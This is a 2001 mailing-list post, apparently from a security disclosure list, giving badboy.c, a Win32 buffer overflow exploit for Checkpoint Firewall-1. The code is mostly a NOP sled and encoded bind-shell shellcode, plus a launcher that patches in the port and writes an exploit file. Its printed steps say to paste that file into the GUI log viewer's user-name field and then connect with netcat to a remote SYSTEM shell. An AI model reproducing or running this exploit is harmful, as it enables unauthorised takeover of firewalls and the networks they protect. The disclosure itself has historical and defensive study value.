Firewall-1 remote SYSTEM shell buffer overflow
Date: 28 Nov 2001 20:08:14 -0000
From: Indigo <indig0@talk21.com.>
To: [email protected]
Subject: Firewall-1 remote SYSTEM shell buffer overflow
Mailer: SecurityFocus
As you can see I've got a few weeks free between
jobs to write some overflows!
Here's badboy.c the overflow for Checkpoint Firewall-
1
NB The overflow only works if you launch the attack
from a valid GUI client machine i.e. your IP address
must be present in the target firewall's
$FWDIR/conf/gui-clients file.
Cheers
Indigo
/* badboy.c - Win32 Checkpoint Firewall-1
overflow exploit by Indigo <indig0@talk21.com.> 2001
Usage: badboy <victim port>
The shellcode spawns a shell on the
chosen port
Main shellcode adapted from code written
by [email protected]
Greets to:
Morphsta, Br00t, Macavity, Jacob &
Monkfish...Not forgetting D-Niderlunds
*/
#include <windows.h>
#include <stdio.h>
int main(int argc, char **argv)
{
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90
\xCC\x2B\x16\xEA\x77\x90\x90\xEB\x05\x4A\xD5"
"\xEC\x77\x90\x90\x90
\x90\x90\x66\x81\xE9\x5B\x29\x31\xDB\xB8\x99"
"\x99\x99\x99\x31\x01
\x83\xC1\x04\x83\xC3\x04\x66\x81\xFB\xC0\x04"
"\x7E\xF1\x66\x81\xE9
\x4E\x01\x31\xC0\x40\x29\x01\x90\x90\x90\x71"
"\x99\x99\x99\x99\xC4
\x18\x74\x40\xB8\xD9\x99\x14\x2C\x6B\xBD\xD9"
"\x99\x14\x24\x63
\xBD\xD9\x99\xF3\x9E\x09\x09\x09\x09\xC0\x71\x4B"
"\x9B\x99\x99\x14
\x2C\xB3\xBC\xD9\x99\x14\x24\xAA\xBC\xD9\x99
\xF3"
"\x93\x09\x09\x09\x09
\xC0\x71\x23\x9B\x99\x99\xF3\x99\x14\x2C\x40"
"\xBC\xD9\x99\xCF\x14
\x2C\x7C\xBC\xD9\x99\xCF\x14\x2C\x70\xBC\xD9"
"\x99\xCF\x66
\x0C\xAA\xBC\xD9\x99\xF3\x99\x14\x2C\x40\xBC\xD9
\x99"
"\xCF\x14\x2C\x74
\xBC\xD9\x99\xCF\x14\x2C\x68\xBC\xD9\x99
\xCF\x66"
"\x0C\xAA\xBC\xD9\x99
\x5E\x1C\x6C\xBC\xD9\x99\xDD\x99\x99\x99\x14"
"\x2C\x6C\xBC\xD9\x99
\xCF\x66\x0C\xAE\xBC\xD9\x99\x14\x2C\xB4\xBF"
"\xD9\x99\x34\xC9\x66
\x0C\xCA\xBC\xD9\x99\x14\x2C\xA8\xBF\xD9\x99"
"\x34\xC9\x66
\x0C\xCA\xBC\xD9\x99\x14\x2C\x68\xBC\xD9\x99\x14
\x24"
"\xB4\xBF\xD9\x99
\x3C\x14\x2C\x7C\xBC\xD9\x99\x34\x14\x24\xA8\xBF"
"\xD9\x99\x32\x14\x24
\xAC\xBF\xD9\x99\x32\x5E\x1C\xBC\xBF\xD9\x99"
"\x99\x99\x99\x99
\x5E\x1C\xB8\xBF\xD9\x99\x98\x98\x99\x99\x14\x2C"
"\xA0\xBF\xD9\x99
\xCF\x14\x2C\x6C\xBC\xD9\x99\xCF\xF3\x99\xF3
\x99"
"\xF3\x89\xF3\x98\xF3
\x99\xF3\x99\x14\x2C\xD0\xBF\xD9\x99\xCF\xF3"
"\x99\x66\x0C\xA2
\xBC\xD9\x99\xF1\x99\xB9\x99\x99\x09\xF1\x99\x9B"
"\x99\x99\x66
\x0C\xDA\xBC\xD9\x99\x10\x1C\xC8\xBF\xD9\x99
\xAA\x59"
"\xC9\xD9\xC9\xD9\xC9
\x66\x0C\x63\xBD\xD9\x99\xC9\xC2\xF3\x89\x14"
"\x2C\x50\xBC\xD9\x99
\xCF\xCA\x66\x0C\x67\xBD\xD9\x99\xF3\x9A\xCA"
"\x66\x0C\x9B\xBC\xD9
\x99\x14\x2C\xCC\xBF\xD9\x99\xCF\x14\x2C\x50"
"\xBC\xD9\x99
\xCF\xCA\x66\x0C\x9F\xBC\xD9\x99\x14\x24\xC0
\xBF\xD9"
"\x99\x32\xAA\x59\xC9
\x14\x24\xFC\xBF\xD9\x99\xCE\xC9\xC9\xC9\x14"
"\x2C\x70\xBC\xD9\x99
\x34\xC9\x66\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66"
"\x0C\xD6\xBC\xD9\x99
\x72\xD4\x09\x09\x09\xAA\x59\xC9\x14\x24\xFC"
"\xBF\xD9\x99\xCE\xC9
\xC9\xC9\x14\x2C\x70\xBC\xD9\x99\x34\xC9\x66"
"\x0C\xA6\xBC\xD9\x99
\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\x1A\x24\xFC"
"\xBF\xD9\x99\x9B\x96
\x1B\x8E\x98\x99\x99\x18\x24\xFC\xBF\xD9\x99"
"\x98\xB9\x99\x99
\xEB\x97\x09\x09\x09\x09\x5E\x1C\xFC\xBF\xD9\x99"
"\x99\xB9\x99\x99\xF3
\x99\x12\x1C\xFC\xBF\xD9\x99\x14\x24\xFC\xBF"
"\xD9\x99\xCE\xC9\x12
\x1C\xC8\xBF\xD9\x99\xC9\x14\x2C\x70\xBC\xD9"
"\x99\x34\xC9\x66
\x0C\xDE\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6
\xBC\xD9"
"\x99\x12
\x1C\xFC\xBF\xD9\x99\xF3\x99\xC9\x14\x2C\xC8
\xBF\xD9\x99"
"\x34\xC9\x14\x2C\xC0
\xBF\xD9\x99\x34\xC9\x66\x0C\x93\xBC\xD9\x99"
"\xF3\x99\x14\x24
\xFC\xBF\xD9\x99\xCE\xF3\x99\xF3\x99\xF3\x99\x14"
"\x2C\x70\xBC\xD9\x99
\x34\xC9\x66\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66"
"\x0C\xD6\xBC\xD9\x99
\xAA\x50\xA0\x14\xFC\xBF\xD9\x99\x96\x1E\xFE"
"\x66\x66\x66\xF3\x99
\xF1\x99\xB9\x99\x99\x09\x14\x2C\xC8\xBF\xD9"
"\x99\x34\xC9\x14
\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x97
\xBC\xD9"
"\x99\x10\x1C\xF8
\xBF\xD9\x99\xF3\x99\x14\x24\xFC\xBF\xD9\x99
\xCE"
"\xC9\x14\x2C\xC8
\xBF\xD9\x99\x34\xC9\x14\x2C\x74\xBC\xD9\x99\x34"
"\xC9\x66\x0C\xD2
\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99
\xF3"
"\x99\x12\x1C\xF8
\xBF\xD9\x99\x14\x24\xFC\xBF\xD9\x99\xCE\xC9
\x12"
"\x1C\xC8\xBF\xD9\x99
\xC9\x14\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C"
"\xDE\xBC\xD9\x99\xF3
\xA9\x66\x0C\xD6\xBC\xD9\x99\x70\x20\x67\x66"
"\x66\x14\x2C\xC0
\xBF\xD9\x99\x34\xC9\x66\x0C\x8B\xBC\xD9\x99
\x14"
"\x2C\xC4\xBF\xD9\x99
\x34\xC9\x66\x0C\x8B\xBC\xD9\x99\xF3\x99\x66"
"\x0C\xCE\xBC\xD9\x99
\xC8\xCF\xF1\xED\xDC\x16\x99\x09\xC3\x66\x8B"
"\xC9\xC2\xC0\xCE\xC7
\xC8\xCF\xCA\xF1\xE1\xDC\x16\x99\x09\xC3\x66"
"\x8B\xC9\x35\x1D\x59
\xEC\x62\xC1\x32\xC0\x7B\x70\x5A\xCE\xCA\xD6"
"\xDA\xD2\xAA\xAB\x99
\xEA\xF6\xFA\xF2\xFC\xED\x99\xFB\xF0\xF7\xFD"
"\x99\xF5\xF0
\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9
\xED\x99\xEA"
"\xFC\xF7\xFD\x99
\xEB\xFC\xFA\xEF\x99\xFA\xF5\xF6
\xEA\xFC\xEA\xF6"
"\xFA\xF2\xFC\xED\x99
\xD2\xDC\xCB\xD7\xDC\xD5\xAA\xAB\x99\xDA\xEB"
"\xFC\xF8\xED\xFC\xC9
\xF0\xE9\xFC\x99\xDE\xFC\xED\xCA\xED\xF8\xEB"
"\xED\xEC\xE9\xD0\xF7
\xFE\xF6\xD8\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9"
"\xEB\xF6
\xFA\xFC\xEA\xEA\xD8\x99\xC9\xFC\xFC\xF2\xD7
\xF8\xF4\xFC"
"\xFD\xC9\xF0\xE9
\xFC\x99\xDE\xF5\xF6\xFB\xF8\xF5\xD8\xF5\xF5
\xF6"
"\xFA\x99\xCB\xFC\xF8
\xFD\xDF\xF0\xF5\xFC\x99\xCE\xEB\xF0\xED\xFC"
"\xDF\xF0\xF5\xFC\x99
\xCA\xF5\xFC\xFC\xE9\x99\xDA\xF5\xF6\xEA\xFC"
"\xD1\xF8\xF7\xFD\xF5
\xFC\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\x99\xDA\xF6
\xFD\xFC\xFD\xB9\xFB\xE0\xB9\xE5\xC3\xF8\xF7"
"\xB9\xA5\xF0\xE3\xF8
\xF7\xD9\xFD\xFC\xFC\xE9\xE3\xF6\xF7\xFC\xB7"
"\xF6\xEB\xFE\xA7
\x9B\x99\x86\xD1\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x95
\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99"
"\x99\x99\x99\x99\x99
\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99
\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99
\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99
\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99
\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99
\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99
\xDA\xD4\xDD\xB7\xDC\xC1\xDC\x99\x99\x99\x99
\x99"
"\x89\x99\x99\x99\x99
\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x90
\x90\x90\x90\x90\x00";
FILE *fp;
unsigned short int a_port;
printf ("\nFirewall-1 buffer overflow launcher\nby
Indigo <indig0@talk21.com.> 2001\n\n");
printf ("To perform this exploit you must attack from a
valid GUI client machine\n");
printf ("i.e. your IP address must be contained in the
$FWDIR/conf/gui-clients file\n");
printf ("This program will create a binary file called
exploit.bin\n");
printf ("First open the Firewall-1 GUI log viewer
program then enter\nthe victim IP address in the
Management Server field\n");
printf ("and a few random characters in the password
field,\n");
printf ("open badboy.bin in notepad, highlight it all then
copy it to the clipboard.\n");
printf ("Paste it into the User Name field of the GUI log
viewer then click OK.\n\n");
printf ("Launch netcat: nc <victim host> <victim
port>\n");
printf ("\nThe exploit spawns a SYSTEM shell on the
chosen port\n\n");
if (argc != 2)
{
printf ("Usage: %s <victim port>\n", argv[0]);
exit (0);
}
a_port = htons(atoi(argv[1]));
a_port^= 0x9999;
shellcode[1567]= (a_port) & 0xff;
shellcode[1568]= (a_port >> 8) & 0xff;
fp = fopen ("./exploit.bin","wb");
fputs (shellcode,fp);
fclose (fp);
return 0;
}